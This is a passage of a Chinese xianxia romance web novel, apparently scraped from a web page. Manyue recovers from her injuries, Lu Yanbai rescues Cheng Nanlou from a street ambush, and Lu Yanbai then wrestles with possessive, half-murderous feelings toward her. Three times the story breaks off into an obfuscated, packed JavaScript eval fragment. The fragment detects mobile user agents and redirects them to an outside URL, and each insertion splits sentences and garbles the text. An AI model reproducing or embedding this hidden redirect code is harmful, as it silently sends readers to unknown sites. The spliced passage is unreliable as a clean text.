陆宴白轻蹙起眉,那种挥之不去的冷冽杀意又在他心头流转。 最后的一抹夕阳消失在天边,四下彻底黑了下来。 夜风飒飒吹动着衣衫,沉默片刻,陆宴白压低帽檐,遮蔽住视线,仅露出线条清晰的下颌。 他无声地叹了口气,最终还是调头往禁林的方向而去。 69. 067 日光透过薄薄的窗纸照进屋内。 迷迷糊糊中,满月感觉到有什么温热湿润的东西在轻轻舔舐自己的脸颊。她缓缓睁开眼,映入眼帘的是一只毛茸茸的雪白小兽,正乖巧地窝在床榻边,一双湿漉漉的眼睛巴巴望着她。 满月眨了眨眼,尚带着几分初醒的懵然,她仔细辨认片刻,才发现这竟然是织梦兽。 织梦兽原先那样像座小山的庞大身躯缩小了数倍,模样也有所改变,四目化作了两只清澈的圆眼,冷不防看上去,和寻常人家看门的小狗无异 织梦兽呜呜叫了一声,毛茸茸的脑袋蹭着她的手臂,嘴筒子拱着她,在分开的这段时间显然也极为想念她。 满月差点被拱得摔倒地上,也是这一动,她才发现不知什么时候自己恢复了人身。 看来在她睡着的这段时间发生了不少事情。 满月坐起身,织梦兽立刻欢快地跳到她怀里,热情地再度舔起她的脸。 “好了,好了……”满月忍不住轻笑出声,一边躲闪一边抚摸着它柔软的毛发。织梦兽的热情让她招架不住,幸好它并非凡犬,口水的味道不难闻,被它身上清新的草木气息冲散了。 她也很想念织梦兽。当时一别,她险些以为再也见不到它了。这样的离别在她微如尘土的生命中并不少见。 就在这一人一兽嬉闹之际,破旧的房门咯吱一声,被人从外面推开了。 嬉笑声戛然而止。满月和织梦兽不约而同停下动作,齐齐望向门口。 一道修长的身影逆光而立。来人看到屋内的情景,眉梢微微挑了一下,扬起一个是似而非的笑容。 织梦兽像是感受到某种无形的压迫感,不敢再这么放肆,瞬间老老实实缩成了一团,窝在满月怀中。 满月则想起了自己变成妖身发生的事,也几不可闻地僵了一下。 她还没想好该怎么面对他。 只有被他强行按着上药的画面出现在眼前迟迟挥散不去。 那种感觉实在是……太糟糕了! 就算理智很清楚他是在帮她,但还是有种被强迫的羞耻感。 满月下意识抱紧了怀中的织梦兽,借此掩饰一闪而过的慌乱,若无其事和陆宴白打招呼:“好巧,哈哈,你来了。” 陆宴白:? “脑子睡傻了?”他笑意盈盈瞧着她,语气很是温和,说出来的话却全然不是那么回事。 ……有时候满月觉得他舔舔嘴真的能把自己毒死。 满月对昏睡之前的记忆还停留在自己吃了很多灵谷,她打量了四周一圈,试图转移话题:“我是不是睡了很久?” “不久。”陆宴白笑着,“两天而已。” 两天? 满月没想到自己睡了这么久。她立刻低头检查起自己的伤,皮肉伤已经好了大半,身体仍有些虚弱,不过先前那股钻心刺骨的寒意倒是不见了。 满月正要长舒一口气,目光却忽然顿住,想起另外一件重要的事。 她身上穿着的衣服……好像不是先前那套。先前她穿的还是梦竹给她挑选的衣裙,而今却里里外外都换了新的。 满月睁圆了眼,不可置信地看向好整以暇靠在边门的陆宴白:“我的,我的衣服……” 话到嘴边,却怎么也问不出口。 陆宴白扬了下眉,非但没有回避,反而迎着她的视线也向她看去,四目相对的瞬间,满月的心跳冷不丁漏了一拍,陆宴白却弯眼笑起,像是无声肯定了她的猜测。 满月的脸一下子烧得通红。除却那么一丁点不值一提的羞赧外,更多的是气恼。 谁允许他碰她了!!这个混蛋! 兔子急了还咬人呢! 新仇加旧恨,正待她发作的当头,屋外一个柔和的女声传了进来,打断了他们:“陆公子。” 陆宴白稍稍错开身,青青拎着两个药包进来,瞧见床上的人醒了过来,她愣了一愣,才不好意思地向她问好:“小卓姑娘,你醒了。” 满月的怒火立时平息了下去。 青青把药包放在桌子上,见满月看着自己,便问她:“衣服合身吗?不合身的话我再给你找一件别的。” 青青的个头比满月略高一些,她的衣服穿在她身上,确实有一点点大。 满月意识到什么,她飞快地瞧了眼倚在门边似笑非笑看着她的陆宴白,倏然反应了过来。 “我的衣服,是你替我换的吗?”满月问道。 青青点点头,不明所以:“是我换的,怎么了吗?” 满月:“……” 她就知道。 满月极为勉强地扯起一个笑容:“没什么。多谢你。” 青青察觉到气氛有点微妙的不对劲,但又说不上来,药包送到,她看了看陆宴白,见他没有其他话,就先行离去了。 她一走,满月立即恼怒地看向陆宴白:“你故意的!” 陆宴白眉眼弯弯:“要不然呢?” 满月:“……” 虽然早就知道这是他惯常戏弄人的风格,可不知为何,一种难以言喻的失落感微妙地缠绕上心头。 满月很讨厌这个玩笑,倒不是出于什么世俗的贞洁观念,而是她不喜欢这种在她什么都不知道的情况下被人随意摆布的感觉。 尽管她的人生已经很少能够不受外界摆布。 满月有些可悲地想。 陆宴白察觉到她骤然低落的心绪。两个人相处这么久,还是头一次见她这样,他不禁有点意外,戏谑的笑意淡了下去,瞧着她:“你生气了?” 满月扬起一个笑容:“没有哦。” 陆宴白却缓步走近她,他微微倾身,两个人的距离近到满月能够清晰地从他眼中看到自己的倒影,他身上清冽的气息也随之笼罩下来,像铺天盖地的网,逃无可逃。 满月心砰砰直跳,下意识地稍稍往后靠了靠。 陆宴白的目光落在她脸上,带着一种罕见的专注,仿佛想要穿透她的外壳,从中看清她的内心:“真的吗?” 被这样盯着,反而让满月先慌了,她长睫微颤了下,一不留神,真话就脱口而出:“我只是,只是希望你能多尊重一下我。” 话一出口,满月自己都觉得有点荒谬。 拜托,这可是陆宴白。 一言不合就打出毁灭世界组合牌的原著大魔王,戏弄主角团就像猫戏弄小老鼠一样,阴晴不定乐子人,一生只凭喜好行事。尊重这两个字恐怕根本不在他的认知范畴。 真是疯了,她怎么敢对他有这样不切实际的期待。 满月自知是自己反应过度了,她慌忙垂下眼,轻轻吸了口气,收敛起不该有的情绪,再抬眸时,已然恢复了往日的理智。 “……对了,你拿到通行令了吗?我们什么时候可以离开这里?”她生硬地转移了话题。 陆宴白却仍是静静看着她,将她眼中细微情绪的变化尽收眼底。 对陆宴白来说,都是很新奇的反应。他很少会注意他人,更不会给予半分在意。 可他却莫名地有点在意她。 她不开心。为什么? 她急于将这份不开心隐藏了起来。又为什么? “走不了。”陆宴白直起身,与她拉开了些距离,压迫感也随之褪去,“妖兵封了城,有通行令也出不去。” 满月闻言立感不妙。 十方城如果和原著里描述的一样庞大,要封城得费多少工夫,堕仙如此兴师动众,绝不可能单单只是为了搜捕他们,否则只需要在出口设置关卡即可。 更大的可能,是为了确保某件更重要的事不被打扰,甚至连消息泄露出去的机会都不给。 比抓他们更重要的事……除了那场献祭,还能是什么? 满月心一沉:“那陈仓他们……” 陆宴白眉梢微挑,一丝不易察觉的烦躁掠过心底,不知怎么,他不太想从她的口中听到他们的名字。 “这么在意他们。”陆宴白语气凉凉的,全无刚刚与她玩笑的调侃戏谑,“有闲心,你先顾好自己。” 语毕,他的视线不经意地扫过她纤细手腕上挂着的玉珠。 她恢复的速度明显与她身上的善印有关。 她身怀善印,却又没有足够的力量运用,如果被人发现,无异于怀璧其罪。 大概也是这个原因,给她玉珠的那人为了保护她将她的善印封印了起来。她并非真的妖脉断绝,只是因为封印,才会显得如此。 在禁林时,不知道什么原因,邪仙的妖力触动了她的封印,因而被解开了一部分。 陆宴白并不打算询问她这件事,他很确信这件事她自己都不知道多少内情,而封印她的那人显然很早就不在她身边了。 如今封印被解除,他虽然暂时替她重新封印了起来,可他的力量与善印天生相克,也不知道能维持多久。 要早点将她送到盛京才行。 陆宴白素来与玄都观理念不合,却也不得不承认,普天之下也只有他的师父行藏道人能够护住她,因为只有行藏道人没有私心,不会因善印而起贪念。 陆宴白打算一找到离开这里的方法,就先将她送走。 不过他并没有把这些告诉她,他清楚要是让她知道他的计划,她肯定不会离开。 满月怔了怔,隐约听出他的心情似乎有点不太好。 这次换她感到疑惑。 好端端她又怎么惹到他了。 “可是……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16278141|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你的伤还没有完全好。”陆宴白笑着,眼中却没有多少笑意,“先好好养伤吧。” 说完,他拿起放在一旁的笠帽,转身离开了。 满月看着他离去,抱紧了怀里的织梦兽,将脸埋在它柔顺的毛发中,叹了口气。 她很想念小肥啾,自从她救下小肥啾后,她们两个就形影不离,从来没有离开过这么久。 还能不能再见到他们呢。 其后几日,陆宴白不知道在忙些什么,天不亮就出门了,往往到深夜才披星戴月回来,满月想找他谈话都没机会。 满月始终惦记着祭祀的事,养伤也不能安心。陆宴白不在的时候,她就和青青小织她们作伴。青青小织都是性情极为温和的妖,很好相处,与她们原身给人的刻板印象截然不同,从她们这里,满月了解了很多十方城的事情。 她们和满月一样,都是无依无靠流离失所的小妖,没来十方城之前,住在附近的山上,近年来人与妖之间的矛盾愈演愈烈,没有大妖庇护的日子极为难熬,她们的父母就是死在除妖师手中,其后她们流落各处,因为脸上这些无法完全化为人身的蛇鳞,颇受亲戚们的嫌弃,只有一个远房的娘姨接济她们,可是世道凶险,娘姨也自顾不暇,帮不上太多忙。 后来她们听说了十方城,专门收留那些无家可归的小妖。贩卖药材攒了一部分的灵石后,她们就用全部积蓄换来两张通行令。 当然,十方城的日子其实并没有比外面好过太多,妖的世界更加看重实力,没有实力,走到哪里都是被欺负的命,但在这里,至少避免了她们父母那样被除妖师抓走的惨剧。 青青的话触动了满月,不光是因为相似的境遇,还因为从她们这里,她看到了区别于原著的另外一个世界。 活生生的世界,不只有匡扶正义的主角团,是更多的没有被照见的黑暗地带。 满月又想起十夜公子府邸里的梦竹小桃她们,还有金琉璃的周娘子。 除此之外还有一件事让满月一直耿耿于怀。原著里有提到过织梦兽,却没有提到过十夜公子和艳三方,如果真的像青青他们说的,艳三方和十夜公子分管着二城,权势滔天,不可能因为是无名小卒不被原著提及。 一个不好的猜测悄然浮现在心头。 万一十方城也是要被献祭的地方呢?或许就连自以为胜券在握的十夜公子,也是被即将献祭的一员。 堕仙献祭,是为了替自己打造了一副得以再度行走在世间的躯壳。她并不在意其他人的生死,更不可能单纯是为了收留小妖而建造一个十方城。 满月忧心忡忡,心不在焉地替青青分拣着药材。 青青想起之前的事,怪不好意思的:“我不知道你是受了伤才变成妖身的,不是故意说你是灵宠。” 对于已经化了形的妖来说,灵宠确实是个不太好听的称呼。 满月回过神来,笑着摇摇头:“没事的。” 青青眨眨眼,踌躇了下,小心翼翼问道:“你是陆公子的……妻子吗?” 满月被这突如其来的问题惊得差点打翻手边的药筐。她记起青青表白被拒的那一幕,好巧不巧还让她看到了全程。 满月顿时尴尬起来,连连摆手,生怕伤了小姑娘的心:“不不不!你误会了!我算是他的,他的朋友吧……我和他之间绝对没有你想的那种关系!” 青青的脸一下子变红了,她慌忙摇头:“我,我不是那个意思!” 她的声音渐渐低了下去,带着一丝难以掩饰的失落:“陆公子他实力那么强,肯定是要去内城做大事的。我……我之前的那些念头,不过是痴心妄想罢了。你不必同我解释这些的。” 青青坦诚又涩然地说着。满月却从中敏锐地捕捉到了另一层意思,她们似乎都并不知道陆宴白的真实身份,只当他是个力量强大的同类。 难怪青青会对他生出倾慕之心,甚至想追随他离开。 相比于姐姐小织的沉稳,妹妹青青的心思显然更为单纯透彻,喜怒哀乐都写在脸上。这大概是因为小织一直扮演着保护者的角色,将风雨遮挡在外,才让妹妹得以保留了这份不谙世事的纯真。 正当气氛微妙的时刻,小织回来了。 她背上背着沉重的药篓,里面塞满了刚刚采集回来的新鲜药材,发丝间还沾着些许清晨的露水与草屑。 青青立刻迎了上去,语气带着诧异:“阿姐,今天怎么回来得这样早?” 小织将药篓从肩上卸下,轻轻放在地上:“城里被带回来三个除妖师游街,集市上都是看热闹的,没几个做生意。我怕又碰上那几个纠缠不清的登徒子,索性就先回来了。” 除妖师。 听到这三个字,满月倏地看向小织。 70. 068 小织点点头:“听说是从外面带回来的,一个老的,一个小的,还有个女除妖师,和你们两个年岁差不多大。听他们说是要被押去内城十夜公子的府邸听候发落的,真不知这三个除妖师有什么厉害的。” 满月心沉了下去,一股不祥的预感顿时攫住了她。 该不会是陈仓他们吧。 青青见满月神色不太对劲,只以为她是好奇想去看热闹,在一旁小声劝道:“外面乱得很,那些人凶神恶煞的,还是别去凑热闹为好。” 满月勉强笑了笑,未置可否。 思忖片刻,她问她们借了块头巾,将自己裹得严严实实,决定还是去看看情况。 近两日城门口的盘查似乎比前几日松懈了些许,若想趁机混出去查探,并非全无可能。 可惜陆宴白此刻不知去了何处,踪影全无,她一个人行动,得更谨慎一些。 小织和青青只当这些日子他们是因为没有通行令才如此躲藏,走前好心提醒了她一句:“千万小心些,莫要撞上巡城的妖兵。” 满月心领了她们的好意。 出了暗巷,外面的情况比她想象中更混乱,平日巡逻的妖兵也不见了踪影,她很顺利就混入了熙攘的妖群中,全无违和。 老实说,置身于这满是妖的十方城中,反而比在其他地方更让她感到安全,在这里至少她无需时刻费力遮掩自身的妖气。 离得尚有一段距离,满月就看见有三辆囚车行进在主街上。 她停下来,不敢主动靠近。 街道两旁吵吵嚷嚷,挤满了前来看热闹的妖。中间的道路被妖兵强行分开,三辆囚车终于缓缓驶了过来,每辆车上都锁着一人,正是清虚子、玄妙和陈仓。 他们双目紧闭,无力地垂着头,显然仍在昏迷之中。 囚车从满月面前经过,满月敏锐地捕捉到空气中隐隐约约飘散着一缕金桂香气,甜腻得有点诡异。 这香味她熟悉。 是十夜公子的金桂香。当时那个何小姐的院落里就种着一棵金桂树,他们肯定和她一样对此毫无防备,才中了毒。 满月目送着囚车渐渐远去,暗感担忧,却什么都做不了。 十夜公子在此刻将他们抓来十方城,其用意昭然若揭,分明就是设下了陷阱,等着她和陆宴白自投罗网。 就在这时,一道清越却急促的笛声骤然响起。 满月在后面看不清楚,只听得前面一阵骚动,有妖惊呼:“有人来劫车!” 满月一愣,这下顾不得会不会引起注意,忙挤上前去。 蓝衣少年手持骨笛,已与押车的妖兵战在一处,他衣衫上鲜血淋漓,显然在来之前已经受了重伤。他轻蹙起眉,将骨笛抵在唇边,急促的笛声荡出,空中瞬时凝出数道银色的流光符纹,如同利箭般射向四周。 妖兵被符文击中,顷刻倒下一大片。而另一部分妖兵却迅速结阵,挥舞着兵器悍不畏死地扑了上来。 程南楼足尖一点就很轻松地躲开了妖兵的近身攻击,笛声不断,化作数道符文疾射而出,阻挡着妖兵再度靠近。 他已近至囚车,手中的符箓将要掷出,一道黑色的荆棘以极快的速度从妖群上方掠过,精准地朝他袭来。 银色的流光与黑色的妖气猛烈碰撞。 藏身于暗处的十夜公子缓缓步出。他今日穿着件一尘不染的白衣,与那日在禁林的狼狈判若两人,嘴角噙着抹笑,隔着重重妖兵,讥讽地看向程南楼。 程南楼面色不变,再次掷出符箓想要震断追袭而来的荆棘。可是更多的黑色枝条如同活物般从四面八方涌现,交织成天罗地网。 这条街早已被布下了缚杀阵法。 满月心一紧。直到此刻,她才惊觉自己一直有个致命的误会。因为陆宴白对付十夜公子时表现得太过游刃有余,让她对十夜公子的实力产生了错误的判断。其实十夜公子很强,远超出她的预期,现在的程南楼根本不是他的对手。 眼看程南楼就要被那恐怖的黑色荆棘彻底吞噬,满月焦急万分,下意识便要催动妖力上前相助。 然而她刚迈出一步,手腕却被人从后面抓住。 那人向后一扯,她猝不及防退了一步,后背便撞进了他的怀中,瞬间被冷冽的气息覆盖。 “你不要命了?”少年的声音在耳边响起,带着些并不常见的冷意。 满月回头,在看到戴着斗笠的陆宴白时,没着没落的心终于落了地。 他来了! 满月还从未有一刻觉得陆宴白的存在是如此令人安心。 满月放松了许多,她仰头想看他的表情,可却被笠帽遮着,看不清楚。 如果是平时的满月,不可能注意不到陆宴白此刻微妙的情绪,但她现在一心都放在程南楼身上,根本无暇顾及:“程南楼他……” 听她提起这个名字,那股该死的烦躁又浮上心头,与之一并而来的,还有想要摧毁一切的杀意。 他为了她能尽早安全离开累死累活,她倒好,冒着被抓到的风险也要来这里,他们对她来说就这么重要吗? 这股翻涌的戾气几乎要倾覆理智。 因而不等她将话说完,陆宴白就掐住她的脸颊,稍一用力,强迫着她的视线看向他。 满月被迫仰起脸望着他,不明所以地皱了下眉。 但这一次,她终于看到了他的眼。 隐藏在斗笠阴影下的黑眸,没有了往日运筹帷幄的平静,而是被一片晦暗不明所取代,那些她看不懂的情绪交杂着在他眼中闪过,最后全都化为了浓稠得化解不开的阴郁。 满月怔了下,不知道他在犯什么病。 在这短暂对峙的须臾,妖群中传来了一声惊呼,满月回过神,就见黑色荆棘已经穿透了程南楼的肩胛骨,将他牢牢钉死在了原地,动弹不得。 满月瞳孔骤缩,她也不指望陆宴白了,甩开他挟制自己的手想要去帮忙。 陆宴白却扣住她纤细的手腕,重新将她拽进了怀里。 与此同时,他另一只手指尖微动,不远处那原本死死勒着程南楼的黑色荆棘,毫无征兆地寸寸碎裂断开。 程南楼身形晃了晃,险些摔在了地上。 满月不知道发生了什么,痛得轻呼一声,一心只想挣脱开他的束缚:“放开我!” 真想杀了她。 陆宴白这么想着,手却不受控制地将她抱得更紧。 “想救他就别动。”他淡漠道。 话音一落,指间的符箓消融,一股强大到令人窒息的飓风毫无预兆地平地拔起。 风势狂暴,几乎以摧枯拉朽之势袭来,长街两旁的货摊全被席卷而走,有些妖没站稳,也被吹得甩了出去,漫天尘土扬起,立时将整个界面笼罩在一片遮天蔽日的尘雾之中。 就连十夜公子也没料到这突然的变故,用袖子遮挡了一下。 片刻,风沙渐息,尘埃慢慢落定,可先前还被困在正中央的蓝衣少年竟已趁机逃走,消失得无影无踪。 十夜公子站在一片狼藉之中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301290|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面色铁青,目光阴鸷地扫视着混乱的四周。 满月被呛得咳嗽几声,她睁开眼看着眼前的局面,才后知后觉发生了什么。 “别再轻举妄动,回去等我。”身后传来陆宴白的声音,听不出任何情绪。 满月回头,陆宴白松开了揽着她的手,他没再瞧她一眼,只是压低了斗笠帽檐,身影一闪,瞬息就不见了踪迹。 * 夜色已深,烛火轻轻摇曳着,在墙壁上投下晃动的人影。 满月坐在桌前,对着烛火出神。 她思忖着白日里发生的种种,总觉得有什么地方不太对劲。 后窗传来了一声极轻的叩响,打断了她的沉思。 满月立刻起身,她先看了眼门前,确定没什么动静,才走到窗边支起窗子。 窗外夜凉如水,陆宴白的身影几乎与浓重的夜色融为一体。他虽扶着一个昏迷不醒的人,动作却丝毫不显滞涩,见窗户打开,他微一用力,便将那人送了进来。 满月急忙伸手接应,触手之处一片冰凉濡湿,带着浓重的血腥气。 陆宴白也从窗子跳了进来,他和满月一起,将伤者安置在屋内唯一的床榻上。 借着烛光,终于看清了那人的情况。程南楼紧闭着眼,早已是失去了意识,他伤痕累累,脸色苍白如纸,身上的蓝衣染成了血衣。 瞧着这张与程衣七八分相似的脸,满月心头蓦地涌起一股复杂难言的情绪。 她取来清水和之前剩下的伤药,坐在榻边,动作极其轻柔地为他擦拭伤口周围的污迹,指尖蘸着药粉,小心翼翼地涂抹在脖颈狰狞的伤口处,生怕弄疼了他。 陆宴白静默地站在一旁,目光落在她的动作上,挑了下眉。 屋内很安静,只有烛芯偶尔爆开的轻微噼啪声作响。 满月再次拿伤药时,却忽然被人攥住了手腕。 那力道不重,带着不容置疑的强势,肌肤相触处传来他指尖微凉的温度。 满月微怔,一转头,猝不及防地撞入陆宴白深不见底的眼眸中。 可四目相对的瞬间,反而是陆宴白先垂下了眼,浓密的长睫在眼下投出一小片阴影,将他所有翻涌的情绪彻底掩盖,令人完全看不透他此刻的心思。 满月以为自己有什么做得不对的地方:“……怎么了?是我弄疼他了吗?” 陆宴白并未立刻回答,他再抬眸时,眼里已经干干净净恢复如常。 他松开了她的手腕,语气听不出丝毫波澜,仿佛刚才那突如其来的阻止只是她的错觉:“我来吧。” ……他们师兄弟之间的关系这么好的吗? 满月着实有点不可置信。她看了看昏迷不醒的程南楼,又瞥了一眼面色沉静无波的陆宴白,迟疑了片刻,还是将位置让了出来。 两人一时无话。 陆宴白接手了上药的工作,他的动作出乎意料地熟练,甚至比满月更加利落,只是周身的气息却让这秋夜的寒意更冷几分。 四周静悄悄的,一种难以言喻的尴尬和沉闷在空气中蔓延。 满月敏锐地察觉到陆宴白今晚的不同。虽然他这段时间以来基本都是这副阴晴不定、惜字如金的死样子,但今夜,他似乎格外沉默,那沉默中又压抑着某种说不清道不明的阴郁。 她犹豫了一下,决定找点话题来打破这份莫名其妙的尴尬:“程公子他……” 话没说完,陆宴白上药的动作顿了一顿。 满月立刻收声,将后半句咽了回去。 71. 069 屋内重新陷入安静,就连织梦兽也感知到这莫名的氛围,蜷起自己的身体缩在角落,尽量降低自己的存在感。 满月被他阴晴不定的举动弄得心里七上八下,她做了个手动合上嘴的动作,示意自己不会再多言。 陆宴白却抬起头,摇曳的烛火映在他脸上,明灭不定。 “你好像真的很在意。”他要笑不笑看着她,声音很轻,却带了一丝不易察觉的危险气息,“他们对你就那么重要?” 同样的问题,第二次从他口中问出。 但是与第一次略带着几分戏谑的调侃不同,这一次,他的声音听不出丝毫情绪,反而有种更为幽微难辨的东西隐藏在其中,像静水下的深流,暗潮涌动。 满月也察觉到他的语气有些微妙。她的心弦悄然绷紧,有点像以前被老师点名背课文的感觉。 可是她根本不知道陆宴白为什么这个样子,不知从何时起,她对他的判断就陷入了某种瓶颈,隐隐约约能捕捉到一些什么,可都不成片,让她很难下一个确定的评估。 就比如现在,他问这话究竟是什么意思呢?是好还是不好? “自然……”满月斟酌着,试图给出一个较为安全的答案,“……我在意他们,就像,就像在意你一样,你们多次救我,我……” “错了。” 她话未说完,便被陆宴白冷冷打断。 满月:? 陆宴白笑了起来,他站起身,居高临下地看着她,火光掩映间,那笑容忽明忽暗,透出几分捉摸不透的妖异:“是我,不是他们。” 满月一愣。 陆宴白瞧着她,黑眸深处暗含着冰冷的薄怒,一种无形的压迫感向她袭去,不知在恼怒她的不知好歹还是其他,声音微有些涩然:“救你的人,从头到尾都只有我。” 满月这下真的紧张了,她不自觉后退一步,抵在身后的木桌上,心砰砰直跳。 面前的人,强大、危险、不可预测,极具威胁性。那双仿佛能吞噬一切光亮的眼睛,正一瞬不瞬地锁定着她,其中满是她读不懂的晦暗情绪。 什,什么意思? 满月脑子疯狂运转,做着阅读理解,企图弄懂他的意思。 他是嫌她太拖后腿了吗? 陆宴白清楚看着她眼中一闪而过的戒备与惊惧,心头翻涌的暗流骤然停滞。 他这才意识到自己的失控与失态。 不应该的。 一种更加复杂的情绪滋生在心间。 陆宴白轻蹙了下眉,旋即错开了眼。 随着他视线移开,那股骇人的压迫感也消失殆尽。 陆宴白垂下长睫,遮去眸中尚未散去的复杂情绪,他看了眼床榻上奄奄一息的程南楼,声音恢复了往日的平静与淡漠,仿佛刚才发生的一切都只是错觉。 “伤口我已经处理好了。”他道,“先前他已服过药护住了心脉,只要命够硬,自然能熬得过去。” 这一切都发生在瞬息之间。满月还没弄清楚陆宴白刚刚为什么会那样,他交代完就从前门离开了。 满月看着阖上的门扉,犹豫了一下,还是没跟出去。 这谁能懂啊,莫名其妙的。 良久,满月叹了口气,摇摇头,重新看向床榻上的程南楼。 * 夜风微凉,带着庭院中草木的清新气息拂面而来,吹散了白日残留的燥热,也让他有些混乱的头脑清醒了不少。 心底那份莫名的躁动,似乎也被这凉风暂时压了下去。 这种感觉很陌生,也很奇怪。从他杀死那个花妖后就没有停止过。 身后传来极轻微的脚步声,伴随着一盏昏黄油灯的光亮,小心翼翼地向他靠近。 陆宴白没有动,早已在她推门而出的那一刻他便知晓了来人的身份。 是那个蛇妖青青。她们姐妹似乎总是忙碌到很晚。她大约是听到院子里细微的动静,提灯出来查看。 和满月一样,青青这几日也鲜少见到陆宴白。 青青站在原地犹豫了片刻,想起白日里满月的话,让她原本已经歇下的心思又忍不住蠢蠢欲动起来。 踌躇再三,她还是鼓起勇气,轻轻踱步走了过去,脚步声放得极轻,生怕惊扰了他。 “陆公子。”她柔声开口,声音在寂静的夜里显得格外清晰,“这么晚了,怎么还没休息?” 陆宴白这才转过头,目光落在她身上,不知想到什么,他挑了挑眉。 青青被他盯得很不自在,以为他在看自己脸上的蛇鳞,她不自然地往后缩了缩,躲在灯笼之后:“怎,怎么了吗?” 陆宴白并未回答,只是又盯着她看了片刻,一副若有所思的样子,直看得青青心底发毛,他才开了口问道:“你上次说想跟着我离开,为什么?” 青青愣了愣,完全没料到他会突然重提旧事,心一下慌乱起来。她强迫自己镇定下来,妖的心思大多比人类直接,没那么多弯弯绕绕,他既然问了,她便坦诚相告:“自然是因为我……我心悦于公子。” 说完,她的脸颊立刻变得滚烫,连忙低下头,带着少女怀春的羞赧,不敢再看他的反应。 陆宴白听罢眉梢微微动了下。在他的生命里,听的最多的都是临死前的哀求与恶毒的咒骂,这种话于他而言,陌生得如同另一个世界的语言。 “心悦于我?”他一字一句地重复着这句话,语调平缓,却带着一种审视的意味,仿佛在琢磨着什么难以理解的东西。 青青的脸愈发滚烫,她悄悄抬眼,发现陆公子并没有露出想象中厌弃或讽刺的神情,反而像是在认真思索着什么,这让她心中又升起一丝微弱的希望。 “那么,”他再次开口,问题却出乎她的意料,“心悦一个人,是什么感觉?” 青青怔忪,没想到他会问这个。她仔细想了想,才认真地回答:“我……我也说不清楚。但大概就是……想要对他好,想把最好的东西都给他,想要永远和他在一起,一看到他……就,就心生欢喜,忍不住想笑。”她说着,声音渐小了下去。 想要对她好? 陆宴白下意识地在心中衡量。似乎……并没有特意考虑过。他更多的是顺从自己的心意和欲望行事而已。 永远在一起?呵,这种虚无缥缈的承诺,恐怕只能骗骗三岁小孩。这个世界最不缺的就是变数,谁能笃定永远? 一见到她就心生欢喜……这一点,倒是勉强符合。毕竟她确实挺有趣的,总能做出些让他意想不到的反应,让他觉得不那么无趣。见到她时,心情似乎总会愉悦些许。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301291|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 除此之外呢? 他脑海里蓦地闪过另一个截然不同的念头。 “那你会想杀掉他吗?”他问。 青青:……? 青青被这问题惊得手中的灯笼都晃了晃。 “想要杀掉她,或者——”他继续说着,语调没有任何起伏,却忽然停了下来。 或者,将她困在身边,斩断所有可能,让她永远无法逃离,完完全全地只属于自己一个人。 尽管陆宴白极其不愿承认,但这确实是他内心深处最真实的想法。只是这想法如此怪异,连他自己都感到一丝烦躁与困惑。 青青花了好一会儿才从震惊中缓过神来,艰难地消化着这个悚然的问题。 “可是……可是如果真心喜欢一个人的话,”她的声音带着些微颤抖,“又怎么会想要伤害他,甚至是杀掉他呢?” 这完全超出了她的理解范围。 那就是说……他其实并不喜欢她? 陆宴白闻言,郁结的眉头终于舒展开,对这个结论很是满意。 他似乎找到了一个合理的解释,驱散了心中那点奇异的躁动。 别的不说,他已经好几次想杀她了,直到现在,那股杀意仍然没有完全消失。 既然想杀她,那就意味着他并未对她产生某种不同寻常的感情。如果不是因为情花毒,难道……是善印?他对她这种莫名其妙的关注,不受控制的靠近,仅仅源于善印对杀印先天的克制与吸引? 是了。 定然是因为善印。 他怎么从来没想到这个缘故。 心头那团复杂黏腻的情绪瞬间消散了不少。 陆宴白唇角勾起一抹自嘲的冷笑,仿佛在讥讽自己之前种种不理智的行径。 然而当他的视线不经意扫过远处那扇紧闭的房门,想起那个小骗子对程南楼的关心备至,刚刚压下去的躁郁之气又没由来地翻涌而上,比之前更加汹涌。 他转开眼,将这也归结为善印的影响。 仔细想来,遇见她之后,他确实做了太多原本不会做的事情。一次次出手相救,一次次容忍她的试探和小心思,甚至因为她而滞留在这种地方。 不过他现在还不能杀掉她。 至少在这里不行。 她和他一样,都只是被杀印善印选中的容器罢了,她死了,善印不会一起消失,反而极有可能脱离束缚,落入他人手中。 他不仅不能杀她,还必须要护着她。善印在她手上,总比给其他人强。 所有不合情理的所作所为都有了恰如其分的理由。 他的目光再次掠过那扇映着昏黄烛光的窗棂,黑眸寂寂,没有丝毫情绪。 他从来不是优柔寡断的人,拿定了主意,就不会再犹豫。他很清楚,别看满月在他面前滑头得很,实则固执得要命。如果不将陈仓那几人一并救出,她是不会心甘情愿跟他离开的。 所以,他要以最快的速度解决掉那些碍事的麻烦,将她平安送回盛京。然后……一劳永逸,永除后患。 “多谢。”陆宴白敛回视线,淡淡道。 青青眨眨眼,完全不知道自己帮了他什么。 